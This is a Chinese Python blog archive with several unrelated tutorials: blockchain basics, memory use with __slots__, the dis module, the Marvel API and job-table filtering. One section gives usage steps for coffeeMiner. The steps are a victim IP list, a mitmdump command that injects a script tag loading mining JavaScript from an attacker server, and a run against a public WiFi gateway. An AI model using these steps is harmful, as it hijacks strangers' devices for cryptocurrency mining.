分类目录归档:解决方案

Python Vs R:你应该学哪个?

本文翻译自英文: R Vs Python: Which One Should You Learn?

如果你想成为一名专业的数据科学家,你至少需要学习一种编程语言。但是如何在Python和R这两种最流行的数据分析语言之间做出选择呢? 如果你有兴趣了解他们各自的优缺点,请继续阅读!

作为一名数据科学家,您可能需要学习SQL(结构化查询语言)。SQL实际上是关系数据的语言,大多数公司的信息仍然存在这种数据中。但SQL只给了你检索数据的能力,而不具备数据清洗或运行模型的能力——这就是Python和R的所用之处。

关于R的一点背景知识

R语言是由来自新西兰奥克兰大学的两位统计学家Ross Ihaka和Robert Gentleman发明的。它最初在1995年发布,并在2000年发布了一个较为稳定的测试版。它是一种解释型语言(不需要在运行代码前编译),并拥有一套非常强大的统计建模和绘图工具

R语言是S语言的一种实现,S语言是上世纪70年代在贝尔实验室开发的一种统计编程语言,它的灵感来自于Scheme (Lisp的一种变体)。它也是可扩展的,很容易从许多其他编程语言调用R的对象。

R语言是免费的,并且已经变得越来越受欢迎。相比于传统的商业统计软件包,如SAS和SPSS,大多数用户喜欢使用RStudio编写他们的R代码,RStudio是一种集成开发环境(IDE)。

关于Python的一点背景知识

Pytho最初是1991年由Guido van Rossum作为通用编程语言发布的。与R一样,它也是一种解释型语言,并且有一个相对全面的标准,可以轻松地对许多常见任务进行编程,不需要安装额外的。同样,它也是免费的。

对于数据科学来说,Python提供了许多非常强大。有NumPy(高效数值计算)、panda(广泛的数据清洗和分析工具)和statsmodel(常见的统计方法)。还有TensorFlow、Keras和PyTorch(用于构建深度学习神经网络的)。

现在,许多数据科学家使用Python编写时使用 Jupyter NotebooksJupyter Notebooks 可以方便地创建混合了文章、代码、数据和可视化图形的文档,从而方便地记录研究过程,也方便其他数据科学家查看和复制工作。

选择一种语言

从历史上来看,数据科学界内部存在着相当大的分歧。通常,具有较强学术或统计背景的数据科学家喜欢R,而具有较多编程背景的数据科学家则更喜欢Python。

Python的优势

对比于R,Python具有以下优势:

1.通用: Python是一种通用编程语言。它非常适合进行统计分析,不仅如此,如果你希望构建一个用于共享数据的网站,或者构建一个易于与生产系统集成的web服务,那么Python相对于R是更灵活、更有力的选择。

2.越来越受欢迎: 在2019年9月Tiobe最受欢迎的编程语言指数中,Python是第三大最受欢迎的编程语言(去年增长了超过2%),而R从去年的第18位下降到了第19位。

3.更适合深度学习: 大多数深度学习项目都在Python语言的基础上使用TensorFlow或PyTorch。虽然R TensorFlow已经发布了, 但是其依然远不及Python TensorFlow. 随着深度学习应用变得日益广泛(从计算机视觉开始,现在已经成为大多数处理自然语言任务的默认方法),Python变得越来越重要。

4.与其他语言相似: Python与其他语言相似,这可以节省许多学习成本。虽然有Lisp背景的人可以很快学会R, 但是有Lisp背景的人毕竟是少数。对于Python,你只要学过一种流行语言,比如Java, c#, JavaScript或Ruby——那么学起来将非常轻松。

仍然有很多工作需要使用到R,所以如果你有时间的话,不妨同时学习这两种语言。但是我认为,对于数据科学家来说,Python正在成为占主导地位的编程语言,是更好的首选学习对象。

文章到此就结束啦,如果你喜欢今天的Python 教程,请持续关注Python实用宝典,如果对你有帮助,麻烦在下面点一个赞/在看哦有任何问题都可以在下方留言区留言,我们会耐心解答的!

​Python实用宝典 (pythondict.com)
不只是一个宝典
欢迎关注公众号:Python实用宝典

Python 搭建简单的食品安全溯源区块链

部分引用自: Satwik Kansal
Develop a blockchain application from scratch in Python

这两天比特币暴涨到了9000美元,除了习大大重点点名的影响,还有明年4月比特币区块减半的因素在里面。不过这些都不是今天这篇文章的重点,今天我们要重点关注的是比特币的事务(在帐户之间转移比特币)的原理——区块链。并用它来搭建一个简单的去中心化的食品安全溯源区块链。

区块链是一种存储数字数据的方式,数据可以是任何内容。对于比特币而言,它就是账户之间转移比特币的事务,我们还可以将其应用到食品安全领域,那就是保存食品制作过程中的各个步骤的时间、原料、制作者等。

用区块链记录这些过程十分具备优势,因为区块链可以具备以下特点:

  • 1.历史记录无法修改(本文重点讨论)
  • 2.数据去中心化保存
  • 3.无单点故障

扫描文章下方二维码关注Python实用宝典公众号,回复食品安全溯源可获得完整源代码。

1.将数据存储到区块中

我们将用json保存我们想要的数据,以下是一个例子:

{
    "timestamp": "1572185927665", 
    "source": "香肠加工", 
    "recorder": "小詹"
}

2.让区块不可被更改

为了保证历史记录无法被修改,一旦被修改我们能检测出对区块的数据的任何篡改,因此我们需要用到哈希函数SHA256,它能从任何一种数据中心创建数字指纹,以保证数据的唯一性。下面是一个例子:

from hashlib import sha256
data = "TEST".encode("utf-8")
print(sha256(data).hexdigest())

然后我们将哈希得到的结果保存到区块的一个字段里,其作用类似于它所包含的数据的数字指纹:

from hashlib import sha256
import json
class Block: 
    def compute_hash(self):  
        """ 
        对区块进行哈希计算
        """ 
        block_string = json.dumps(self.__dict__, sort_keys=True) 
        return sha256(block_string.encode()).hexdigest()

3.链接区块

我们已经设置好了区块,但区块链应该是一个区块集合,我们可以把所有的区块存储在列表中,但是这远远不够,如果有人故意替换了一个区块怎么办?我们需要采用某种方法来确保对过去的区块的任何更改都会造成整个链的失效。我们将通过哈希值将区块连接起来,即将前一个区块的哈希值包含在当前区块中。所以如果当前的区块的内容发生更改,该区块的哈希值也会发生更改,导致与下一个区块的前一个区块(previous_hash)的哈希字段不匹配

每一个区块都根据previous_hash字段链接到前一个区块,但是第一个区块(创始区块)怎么办?大多数情况下,我们将手动为他赋值。

将index、时间戳、数据段和previous_hash加到区块类的初始化中:

from hashlib import sha256
import json
class Block: 
    def __init__(self, index, data, timestamp, previous_hash):
        self.index = index 
        self.data = data
        self.timestamp = timestamp
        self.previous_hash = previous_hash 

    def compute_hash(self):  
        """ 
        对区块进行哈希计算
        """ 
        block_string = json.dumps(self.__dict__, sort_keys=True) 
        return sha256(block_string.encode()).hexdigest()

这是我们的区块链类:

class Blockchain:
    def __init__(self): 
        self.unconfirmed_data = [] # 尚未进入区块链的数据
        self.chain = []
        self.create_genesis_block()
 
    def create_genesis_block(self): 
        """
        生成创始区块(genesis block)并将其附加到链中的函数。
        该块的索引为0,previous_hash为0,并且是一个有效的散列。
        """
        genesis_block = Block(0, [], time.time(), "0")
        genesis_block.hash = genesis_block.compute_hash()
        self.chain.append(genesis_block)
 
    @property
    def last_block(self): 
        return self.chain[-1]

4.工作量证明算法

其实这样做,还远远不够。因为我们更改前一个区块就可以非常轻松地计算后续所有区块的哈希值,创建一个不同且有效的区块链。为了预防这种情况,我们必须让计算哈希值的任务变得困难和随机化。

我们将引入一个约束条件和一个叫nonce的随机数的新字段。这个约束条件就是块哈希开头部分的零 (前导零) 的个数,随机数会不断变化,直到我们获得满足约束条件的哈希值。前导零的数量决定了工作量证明算法的难度。看看下面比特币出块图就知道了,比特币的难度的不断增加是通过增加前导零的数量实现的。

假设我们的难度是2,则编写工作量证明算法代码如下:

class Blockchain: 
    # 前面的代码略
    # 难度
    difficulty = 2
    def proof_of_work(self, block): 
        """
        函数尝试不同的随机数以获得满足我们难度的块哈希。
        """
        block.nonce = 0
        computed_hash = block.compute_hash()
        while not computed_hash.startswith('0' * Blockchain.difficulty): 
            block.nonce += 1
            computed_hash = block.compute_hash()
        return computed_hash 

这样做有一个好处:只能通过暴力破解确定随机数,这就是为什么现在挖矿行业这么火爆的原因。

5.将区块添加到链中

要将区块添加到链中,我们得先验证工作量证明是否正确,以及要添加的区块的previous_hash 字段是否指向链中最新区块的哈希值。

class Blockchain:
    # 前面的代码略
    def is_valid_proof(self, block, block_hash):
        """
        工作量证明验证,并确保previous_hash正确
        """
        return (block_hash.startswith('0' * Blockchain.difficulty) and
                block_hash == block.compute_hash())

    def add_block(self, block, proof):
        """
        在验证成功后将块链接起来
        """
        previous_hash = self.last_block.hash
        if previous_hash != block.previous_hash: 
            return False
        if not self.is_valid_proof(block, proof): 
            return False
        block.hash = proof
        self.chain.append(block)
        return True

6.挖矿

数据将存储在unconfirmed_data中,将unconfirmed_data中的数据放入区块中并计算工作量证明的过程称为挖矿。一旦找到满足约束条件的随机数,就可以说我们挖到了一个区块,这个区块就会放入区块链中。

在比特币中,作为对耗费算力来计算工作量证明的奖励,矿工可以获得一些加密货币,以下是我们的挖矿函数:

class Blockchain:
# 前面代码略
    def add_new_data(self, data): 
        self.unconfirmed_data.append(data)
 
    def mine(self): 
        """
        此函数充当一个接口,将未决数据添加到块中并计算工作证明,
        然后将它们添加到区块链。
        """
        if not self.unconfirmed_data: 
            return False
 
        last_block = self.last_block
 
        new_block = Block(index=last_block.index + 1,
                          data=self.unconfirmed_data,
                          timestamp=time.time(),
                          previous_hash=last_block.hash)
 
        proof = self.proof_of_work(new_block)
        self.add_block(new_block, proof)
        self.unconfirmed_data = []
        return new_block.index

测试

现在,这条链基本建造完成了,让我们试一试效果。尝试往里面添加一个区块:

def new_data(data): 
    # 这里传入字典数据或json数据都可以
    required_fields = ["source", "recorder"]
    for field in required_fields: 
        if not data.get(field): 
            return "Invlaid data"
    data["timestamp"] = time.time()
    bc.add_new_data(data)
    return "Success"
bc = Blockchain()
a = new_data({"source": "香肠加工", "recorder": "小詹"})
print(a)

添加成功:

F:\push\20191027>python block.py
Success

现在数据是在 unconfirmed_data 中,我们需要挖矿,让它成功添加到区块链上:

def new_data(data): 
    # 这里传入字典数据或json数据都可以
    required_fields = ["source", "recorder"]
    for field in required_fields: 
        if not data.get(field): 
            return "Invlaid data"
    data["timestamp"] = time.time()
    bc.add_new_data(data)
    return "Success"
def get_chain(blockchain): 
    chain_data = []
    for block in blockchain.chain: 
        chain_data.append(block.__dict__)
    return json.dumps({"length": len(chain_data),
                       "chain": chain_data})

def mine_unconfirmed_transactions(blockchain): 
    result = blockchain.mine()
    if not result: 
        print("No data need to mine")
    print("Block #{} is mined.".format(result))

bc = Blockchain()
a = new_data({"source": "香肠加工", "recorder": "小詹"})
print(a)
mine_unconfirmed_transactions(bc)

输出结果:

F:\push\20191027>python block.py
Success
Block #1 is mined.

现在来看看区块链上是不是有两个区块了(一个创始块,一个我们新增的区块)显示数据:

def get_chain(blockchain): 
    chain_data = []
    for block in blockchain.chain: 
        chain_data.append(block.__dict__)
    return json.dumps({"length": len(chain_data),
                       "chain": chain_data})

print(get_chain(bc)) 

结果:

F:\push\20191027>python block.py
 Success
 Block #1 is mined.
 {"length": 2, "chain": [{"index": 0, "data": [], "timestamp": 1572187230.2847784, "previous_hash": "0", "hash": "f30161fc8ffa278f26713a73780b939fe9734d9d459fe4307e72926d9eb9c3aa"}, {"index": 1, "data": [{"source": "\u9999\u80a0\u52a0\u5de5", "recorder": "\u5c0f\u8a79", "timestamp": 1572187230.2847784}], "timestamp": 1572187230.2847784, "previous_hash": "f30161fc8ffa278f26713a73780b939fe9734d9d459fe4307e72926d9eb9c3aa", "nonce": 0, "hash": "0026b22937fdcb24978814dd26cdf64a6210966c26914e66b73ca68805f1cd5a"}]}

非常nice,这样我们就成功新建了一个非常简单的食品安全溯源区块链,当然离上线还有很远的距离(如去中心化及建立共识),但是万事开头难,解决了开头部分,后续就不再会有什么难题了。

扫描文章下方二维码关注Python实用宝典公众号,回复食品安全溯源可获得完整源代码。

文章到此就结束啦,如果你喜欢今天的Python 教程,请持续关注Python实用宝典,如果对你有帮助,麻烦在下面点一个赞/在看哦有任何问题都可以在下方留言区留言,我们会耐心解答的!

​Python实用宝典 (pythondict.com)
不只是一个宝典
欢迎关注公众号:Python实用宝典

Python减少字典对象占用的七成内存

程序执行过程中,如果RAM中有大量的对象在运行,就可能会出现内存问题,特别是在对可用内存总量有限的情况下。

下面是一些减少字典对象内存大小的方法,这些方法可以显著减少对象所需的RAM大小。

字典

在Python里用字典来表示结构信息是非常方便的:

>>> ob = {'x':1, 'y':2, 'z':3}
>>> x = ob['x']
>>> ob['y'] = y

但我们来看看它的内存消耗:

>>> print(sys.getsizeof(ob))
240

这个数额看起来好像挺小,但是当你想要创造许多这样的变量时就积小成多了:

对象数目内存大小
1 000 000240 Mb
10 000 0002.40 Gb
100 000 00024 Gb

解决方案

用类实例来代替字典:

class Point:
    def __init__(self, x, y, z):
        self.x = x
        self.y = y
        self.z = z

>>> ob = Point(1,2,3)
>>> x = ob.x
>>> ob.y = y

类实例各个部分的内存大小:

FieldSize (bytes)
PyGC_Head24
PyObject_HEAD16
__weakref__8
__dict__8
TOTAL:56

如果你不是很了解类和实例,可以看廖雪峰的这篇文章。这里的__weakref__是对这个对象的弱引用列表的引用,而__dict__是对类实例字典的引用,它包含实例属性的值。从Python 3.3开始, 类的所有实例用共享空间存储字典的keys. 这减少了内存中实例的大小:

>>> print(sys.getsizeof(ob), sys.getsizeof(ob.__dict__)) 
56 112

56+112=168 < 240. 因此,大量的类实例占用的内存比普通字典(dict)要少:

实例数目大小
1 000 000168 Mb
10 000 0001.68 Gb
100 000 00016.8 Gb

字典占实例大小的百分比为112/168=67%, 我们还是可以看出,实例中字典的大小严重影响了RAM中实例的大小。

带__slots__的类实例

通过消除__dict__和weakref__,可以显著减少RAM中的类实例的大小。用__slots__是有可能做到的:

class Point:
    __slots__ = 'x', 'y', 'z'

    def __init__(self, x, y, z):
        self.x = x
        self.y = y
        self.z = z

>>> ob = Point(1,2,3)
>>> print(sys.getsizeof(ob))
64

RAM中的对象明显变小:

FieldSize (bytes)
PyGC_Head24
PyObject_HEAD16
x8
y8
z8
TOTAL:64

今日重点:在类定义中使用__slots__会显著减少大量实例的内存占用

实例数目大小
1 000 00064 Mb
10 000 000640 Mb
100 000 0006.4 Gb

目前,这是大幅度减少RAM中类实例的内存占用的主要方法。相比于单纯用字典,减少了(240-64)/240=73%的内存占用。

文章到此就结束啦,如果你喜欢今天的Python 教程,请持续关注Python实用宝典,如果对你有帮助,麻烦在下面点一个赞/在看哦有任何问题都可以在下方留言区留言,我们会耐心解答的!

​Python实用宝典 (pythondict.com)
不只是一个宝典
欢迎关注公众号:Python实用宝典

Python 十个加快编程效率的技巧(tricks)

1.交换两个数字

x, y = 10, 20
print(x, y) 
x, y = y, x 
print(x, y) 

输出

10 20
20 10

2.反转字符串

a ="GeeksForGeeks"
print("Reverse is", a[::-1]) 

输出

Reverse is skeeGroFskeeG

3.连接列表中的元素

a = ["Geeks", "For", "Geeks"] 
print(" ".join(a)) 

输出

Geeks For Geeks

4.多比较符

n = 10
result = 1 < n < 20 
print(result)  
result = 1 > n <= 9
print(result) 

输出

True
False

5.输出模块的位置

import os; 
import socket; 

print(os) 
print(socket) 

输出

<module 'os' from '/usr/lib/python3.5/os.py'>
<module 'socket' from '/usr/lib/python3.5/socket.py'>

6.使用枚举

class MyName: 
    Geeks, For, Geeks = range(3) 

print(MyName.Geeks) 
print(MyName.For) 
print(MyName.Geeks) 

输出

2
1
2

7.函数返回多个值

def x(): 
    return 1, 2, 3, 4
a, b, c, d = x() 
print(a, b, c, d) 

输出

1 2 3 4

8.找到数组中出现频率最高的数

test = [1, 2, 3, 4, 2, 2, 3, 1, 4, 4, 4] 
print(max(set(test), key = test.count)) 

输出

4

9.检查对象占用内存大小

import sys 
x = 1
print(sys.getsizeof(x)) 

输出

28

10.检查两个字符串是否字谜(字母和出现次数一致)

from collections import Counter 
def is_anagram(str1, str2): 
    return Counter(str1) == Counter(str2) 
print(is_anagram('geek', 'eegk')) 
  
print(is_anagram('geek', 'peek'))   

输出

True
False

文章到此就结束啦,如果你喜欢今天的Python 教程,请持续关注Python实用宝典,如果对你有帮助,麻烦在下面点一个赞/在看哦有任何问题都可以在下方留言区留言,我们会耐心解答的!

​Python实用宝典 (pythondict.com)
不只是一个宝典
欢迎关注公众号:Python实用宝典

Python 利用公共WiFi挖矿(开源项目仅作研究)

BTC收益

挖矿是什么?只要你加入矿池,提供一定的算力,你就能获得收益。比如poolin矿池,1TH算力的每日收益是1.15元人民币,如果你有一台16TH的矿机,每日的收益就是1.15*16=18.4元,当然,净利润还要去除电费成本。

但是矿机的成本不容忽视,一台16TH的全新矿机价格需要约为3000元上下,二手也要接近千元。如果你买了一台16TH的二手矿机,你需要近54天才能回本。如果说能“借用”他人的算力进行挖矿,那可就太舒服了。西班牙有位叫阿尔诺的开发人员就想到了,能不能利用公共wifi网络进行挖矿呢?

这就是coffeeMiner脚本的用处,它利用中间人攻击的原理,将类似于下面的HTML代码注入到非HTTPS的网页中。

 <script src="http://httpserverIP:8000/.js" type="text/java"></script>

一旦这个脚本被加载,就会执行服务器上的java代码,将本机变成一名矿工,抽取CPU时间,利用挖矿软件来挖名为Monero的加密货币。

不过,它的缺点是对HTTPS页面的请求不起作用,加上SSLStrip可以补上这一不足。 整个脚本都是Python写的,如果你有兴趣可以访问这个项目: coffeeMiner

该项目简单的使用教程

  • 1.执行安装脚本:install.sh
bash install.sh
  • 2.编辑 victims.txt ,一行一个IP
  • 3.编辑 coffeeMiner.py, 第二十八行,将10.0.2.20改为你的矿工服务器的IP:
os.system("~/.local/bin/mitmdump -s 'injector.py http://10.0.2.20:8000/script.js' -T")
  • 4.执行 coffeeMiner.py
python coffeeMiner.py ipgateway

如果你无法访问github,也可以关注下方Python实用宝典公众号,回复 coffeeminer 获得完整源代码。

文章到此就结束啦,如果你喜欢今天的Python 教程,请持续关注Python实用宝典,如果对你有帮助,麻烦在下面点一个赞/在看哦有任何问题都可以在下方留言区留言,我们会耐心解答的!

​Python实用宝典 (pythondict.com)
不只是一个宝典
欢迎关注公众号:Python实用宝典

Python 优秀开源项目推荐—实时语音克隆等 (2019年8月)

1. 实时语音克隆: 非常流弊的项目,能在5秒钟内克隆对象的语音实时生成任意文本语音,而且生成的语音非常非常像!By Corentin Jemine.

实时语音克隆

2. 婴儿名字分析:将数据集“社会保障卡应用程序的婴儿名字”的数据进行抽取、转换、加载和分析。

婴儿名字分析

3.Pyrobot:PyRobot 开源机器人研究平台。PyRobot是一个轻量级的Python高级接口,为机器人操作和导航提供api。该开源还包含了LoCoBot的底层堆栈,LoCoBot是一种低成本的移动机械手硬件平台。

PyRobot

4.苹果嗅探器 Apple_bleee:一个可以知道苹果手机当前状态的蓝牙嗅探器,如是否开了WIFI、当前界面是否在桌面、是否正在拨通电话、是否正在锁屏状态等等。

蓝牙嗅探器

5.Gryphon:强大,可靠且可扩展的开源软件框架, 用于构建和运行加密货币市场中的算法交易策略,可以任何频率建立交易策略。

Gryphon

文章到此就结束啦,如果你喜欢今天的Python 教程,请持续关注Python实用宝典,如果对你有帮助,麻烦在下面点一个赞/在看哦有任何问题都可以在下方留言区留言,我们会耐心解答的!


​Python实用宝典 (pythondict.com)
不只是一个宝典
欢迎关注公众号:Python实用宝典

python Dis模块进行代码性能分析

​Python代码在执行的时候,会被编译为Python字节码,再由Python虚拟机执行Python字节码。有时候就我们执行python文件的时候会生成一个pyc文件,这个pyc文件即用于存储Python字节码指令,而这些字节码是一种类似于汇编指令的中间语言,但是每个字节码对应的不是机器指令,而是一段C代码。

而Dis模块,就是用于查看这些字节码的运行轨迹,因此我们可以用Dis模块判断两个函数的内存占用谁会更大,谁会更消耗CPU性能,不仅如此,通过指令,我们还可以知道Python中一些内置函数、变量的取值过程、运行逻辑,对于我们代码性能并优化代码很有帮助。

下面将通过两个例子,来介绍Dis模块的使用。

1.为什么下面第一个函数比第二个函数耗得内存更少?

def test1(a):
    if 0 < a and a < 1:
        return 1
    return 0

def test2(a):
    if 0 < a < 1:
        return 1
    return 0

一般人是比较难直接看出来的,但是我们使用Dis模块却能很容易找到答案:

import dis
def test1(a):
    if 0 < a and a < 1:
        return 1
    return 0


def test2(a):
    if 0 < a < 1:
        return 1
    return 0

dis.dis(test1)
print('*'*50)
dis.dis(test2)

结果:

dis结果

Dis的结果其实很容易阅读:

第一列:对应的源代码行数。
第二列:对应的内存字节码的索引位置。
在第一列和第二列之间的 >> 号表示跳转的目标
第三列:内部机器代码的操作。
第四列:指令参数。
第五列:实际参数。

两个函数的dis分析用*号隔开了,大家可以清晰地看到两个函数之间的语句区别。第二个函数的字节码索引最大到了30,而第一个函数的字节码索引最大仅到了22,因此,第一个函数耗得内存比第二个函数少。

而且,在第一列和第二列之间的 >> 号表示跳转的目标,大家可以看第二个函数第四列的 18,表示其跳转到了索引为18的指令,也就是ROT_TWO。第二个函数的跳转也比第一个函数多,这也可能导致其在某种特殊情况下的效率可能会比第一个函数低。

2.为什么Python2中,while True 比 while 1慢?

while 1:
    pass
 
while True:
    pass

可以通过在命令中使用dis进行分析:

可以看到,while 1 在第二行是直接JUMP_ABSOLUTE,因此相比于While True 少了LOAD_NAME 和 POP_JUMP_IF_FALSE。这是因为True在Python2中不是一个关键字,而是一个内置变量,因此每次Python都会用LOAD_NAME去检查(POP_JUMP_IF_FALSE)True的值。这就是为什么While True 比while 1慢的原因。

到了Python3,True变成了关键字,就没有这个问题了:

Python 3 针对 Python 2 做了非常多的替换,这也是为什么它不兼容 Python 2 的原因之一,差别太大了。因此,建议各位初学者直接上手 Python 3 进行学习,而非 Python 2.

希望以上两个Dis模块的使用例子能给大家带来一点灵感,分析一段Python代码的深层次性能问题虽然比较费时费力,但是一旦你分析到了深层次的性能原因,将能累积不少深层次的技术上的知识,写出更漂亮的代码。

我们的文章到此就结束啦,如果你希望我们今天的Python 教程,请持续关注我们,如果对你有帮助,麻烦在下面点一个赞/在看哦有任何问题都可以在下方留言区留言,我们都会耐心解答的!


​Python实用宝典 (pythondict.com)
不只是一个宝典
欢迎关注公众号:Python实用宝典

Python使用“漫威API”探索漫威宇宙

在看漫威系列电影的时候,你是不是经常会对一些角色感到好奇,想知道每个角色的关联关系和出场的事件,但是却无从下手?

现在,我们有很好的来帮助我们实现这些想法了!Marvel Comics API 允许各地的开发人员访问漫威70年来庞大的漫画信息。接下来就来告诉大家怎么使用这个漫威

1.注册账号获得API访问权限

访问下面的链接注册一个漫威开发者

https://developer.marvel.com/signup

跟着步骤走,接受它的使用条款后就能得到public key(公钥)和 private key(私钥)了:

2.pip安装相应的第三方工具

在pip中输入以下命令安装marvel包(默认你已经安装好了python和pip哦,如果你还没有安装,建议阅读这个教程:python安装)

pip install marvel

这个包是这个漫威API的封装器,里面封装了许多查询工程,方便我们使用,我们不需要理解怎么发送post请求向漫威api调用数据,仅仅使用一个语句,将我们刚刚获得的公钥和私钥传入进去,就可以拿到数据。

公钥秘钥示例

获取所有角色:

import marvel
PUBLIC_KEY = '你的公钥'
PRIVATE_KEY = '你的私钥'
m = marvel.Marvel(PUBLIC_KEY, PRIVATE_KEY)
characters = m.characters
all_characters = characters.all()
print(all_characters)

获取单个角色:

import marvel
PUBLIC_KEY = '你的公钥'
PRIVATE_KEY = '你的私钥'
m = marvel.Marvel(PUBLIC_KEY, PRIVATE_KEY)
characters = m.characters
character = characters.get(1011334)
print(character)

获取一些角色的漫画:

import marvel
PUBLIC_KEY = '你的公钥'
PRIVATE_KEY = '你的私钥'
m = marvel.Marvel(PUBLIC_KEY, PRIVATE_KEY)
characters = m.characters
comics = characters.comics(1011334)
print(comics)

同样,您可以将相同的逻辑应用于不同的对象,例如:

import marvel
PUBLIC_KEY = '你的公钥'
PRIVATE_KEY = '你的私钥'
m = marvel.Marvel(PUBLIC_KEY, PRIVATE_KEY)
stories = m.stories
all_stores = stories.all()
story = stories.get(id)
events = stories.events(id)
print(stories, all_stores, story, events)

最后,每个对象具有的子资源如下:

  • 人物
    • allgetcomicseventsseriesstories
  • 漫画
    • allgetcharacterscreatorseventsstories
  • 创作者
    • allgetcomicseventsseriesstories
  • 活动
    • allgetcharacterscomicscreatorsseriesstories
  • 系列
    • allgetcharacterscomicscreatorseventsstories
  • 故事
    • allgetcharacterscomicscreatorseventsseries

3. 使用API找到雷神出现过的漫画

想要使用API查找灭霸出现过的所有漫画,你就得先知道雷神的角色ID(character ID), 我们通过角色名字得到角色对应的ID:

import marvel
PUBLIC_KEY = '你的公钥'
PRIVATE_KEY = '你的私钥'
m = marvel.Marvel(PUBLIC_KEY, PRIVATE_KEY)
characters = m.characters
def get_hero_id(characters, name):
    all_characters = characters.all(nameStartsWith=name)
    # 根据名字获得角色信息,仅支持英文
    ids = [i['id'] for i in all_characters['data']['results']]
    names = [i['name'] for i in all_characters['data']['results']]
    return ids,names
ids, names = get_hero_id(characters, 'thor')

结果:

(base) ckenddeMacBook-Pro:20190925 ckend$ python 1.py
[1009664, 1017576, 1017106, 1017315, 1017328, 1017302, 1011025, 1010820] ['Thor', 'Thor (Goddess of Thunder)', 'Thor (MAA)', 'Thor (Marvel Heroes)', 'Thor (Marvel War of Heroes)', 'Thor (Marvel: Avengers Alliance)', 'Thor (Ultimate)', 'Thor Girl']

可以看到我们好像得到了不同系列下的雷神,以1009664为例,获得雷神出现过的漫画。

import marvel
PUBLIC_KEY = '你的公钥'
PRIVATE_KEY = '你的私钥'
m = marvel.Marvel(PUBLIC_KEY, PRIVATE_KEY)
characters = m.characters
def get_hero_id(characters, name):
    all_characters = characters.all(nameStartsWith=name)
    # 根据名字获得角色信息,仅支持英文
    ids = [i['id'] for i in all_characters['data']['results']]
    names = [i['name'] for i in all_characters['data']['results']]
    return ids,names
ids, names = get_hero_id(characters, 'thor')
comics = characters.comics(ids[0])
# ids[0]即1009664
print([i['title'] for i in comics['data']['results']])

结果如下:

(base) ckenddeMacBook-Pro:20190925 ckend$ python 1.py
 ['THOR VOL. 2: ROAD TO WAR OF THE REALMS TPB (Trade Paperback)', 'Marvel Masterworks: The Mighty Thor Vol. 18 (Hardcover)', 'King Thor (2019) #1', 'Thor Epic Collection: The Black Galaxy (Trade Paperback)', 'Thor (2018) #16', 'THOR & LOKI: BLOOD BROTHERS GALLERY EDITION HC (Hardcover)', 'Thor Of The Realms (Trade Paperback)', 'War Of The Realms Omega (2019) #1', 'Thor (2018) #15', 'The Unbeatable Squirrel Girl (2015) #46', 'Kirby Is… Mighty! King-Size (Hardcover)', 'Thor (2018) #14', 'War of the Realms (2019) #5', 'MARVEL ACTION CLASSICS: SPIDER-MAN TWO-IN-ONE 1 (2019) #1', 'Thor (2018) #13', 'Moon Girl and Devil Dinosaur (2015) #43', "Decades: Marvel in The '80s - Awesome Evolutions (Trade Paperback)", 'War of the Realms (2019) #3', 'The Art of War of the Realms (Trade Paperback)', 'Mighty Thor 3D (2019) #1']

可以看到,雷神一共在十九部作品里出现过哦。怎么样,是不是特别方便的工具

我们的文章到此就结束啦,如果你希望我们今天的Python 教程,请持续关注我们,如果对你有帮助,麻烦在下面点一个赞/在看哦有任何问题都可以在下方留言区留言,我们都会耐心解答的!


​Python实用宝典 (pythondict.com)
不只是一个宝典
欢迎关注公众号:Python实用宝典

利用Python找出适合你的国考市考公务员岗位

2020年国考已经临近啦,很多小伙伴都在考虑是否要报公务员,但是却不知道适合自己的岗位有什么,今天我们就来利用Python找出适合你的岗位吧!

根据2019年国考全国职位表,可以找到以下的报考限制因素:专业、学历、政治面貌、基层工作年限。该表的下载地址:

由于表格是Excel的xlsx格式,我们需要用到两个包,xlrd和xlwt,使用pip安装即可,如果你还没有安装Python和pip,请看这篇教程:安装Python. 在CMD/TERMINAL输入以下两条命令进行安装:

pip install xlrd
pip install xlwt

假设,假设我们是计算机本科专业,而且没有任何的基层工作经验,以这样的条件筛选表格中适合我们的岗位,(如果你没有耐心看,可以到网站上下载源代码直接用哦):

我们会使用xlrd读取表格,然后用xlwt保存筛选出来的数据,首先是xlrd读取:

data = xlrd.open_workbook(file) 
# 将表格数据读取到data中

然后我们需要一个变量保存筛选数据:

output = xlwt.Workbook(encoding='utf-8')

该表格中还有许多子表格,因此我们需要遍历所有的子表格:

for sheet in data.sheets():
    output_sheet = output.add_sheet(sheet.name)
    # 筛选出来的文件中也添加这些子表格

添加第二行的列信息:

for col in range(sheet.ncols):
    # 添加第二行的列信息
    output_sheet.row(0).write(col, sheet.cell(1,col).value)

接下来是检测文件中的每一行,判断其是否能够满足我们的三个条件:专业、学历、基层限制,由于不好分批展示,这里直接给出全部源代码,大家看注释就应该能看明白了,是一个使用关键词匹配对应表格的方法:

# 完整源代码
# Python实用宝典 2019-09-23
#-*- coding: utf-8 -*-

import xlrd
import xlwt
import re

# 检查是否满足报考条件
def check(row_value, major, edu, year):
    ma = row_value[12]
    # 该岗位所需专业
    ed = row_value[13]
    # 该岗位所需学历
    value = row_value[16]
    # 该岗位所需年限
    if check_major(ma, major) and check_edu(ed, edu) and checkSpecial(value, year):
        return True
    else:
        return False

def check_major(value, major):
    # 检查是否满足专业要求
    pat = re.compile(major)
    if re.search(pat, value):
        return True
    return False

# 检查是否满足学历要求
def check_edu(value, edu):
    pat = re.compile(edu)
    if re.search(pat, value):
        return True
    return False

# 检查基层年限设置
def checkSpecial(value, year):
    pat = re.compile(year)
    if re.search(pat, value):
        return True
    return False

# 根据条件筛选出职位
def filterTitle(file, major, edu, year):
    data = xlrd.open_workbook(file)
    # 将表格数据读取到data中
    output = xlwt.Workbook(encoding='utf-8')
    for sheet in data.sheets():
        output_sheet = output.add_sheet(sheet.name)
        # 筛选出来的文件中也添加这些子表格
        for col in range(sheet.ncols):
            # 添加第二行的列信息
            output_sheet.row(0).write(col, sheet.cell(1,col).value)

        output_row = 1
        for row in range(sheet.nrows):
            # 每一行都检测
            row_value = sheet.row_values(row)

            choosed = check(row_value, major, edu, year)
            # 是否满足三个条件(专业、学历、基层限制)

            if choosed == True:
                # 满足则输出到文件中
                for col in range(sheet.ncols):
                    output_sheet.row(output_row).write(col, sheet.cell(row, col).value)
                output_sheet.flush_row_data()
                output_row += 1
    output.save('output.xls')

if __name__ == '__main__':
    filterTitle('1.xlsx', u'不限|计算机', u'本科', u'无限制')

运行完毕后能在本地找到一个output.xls的文件,里面就是我们筛选出来的所有岗位,可以看到本科计算机能报中央国家党群机关和本级中央行政机关的的岗位比较少,但是国家行政机关省级以下直属岗位非常多,高达901个。事业单位355个。

大家也可以再修改源代码添加城市限制,比如说你希望在广东省工作,那就可以把check函数改成这样:

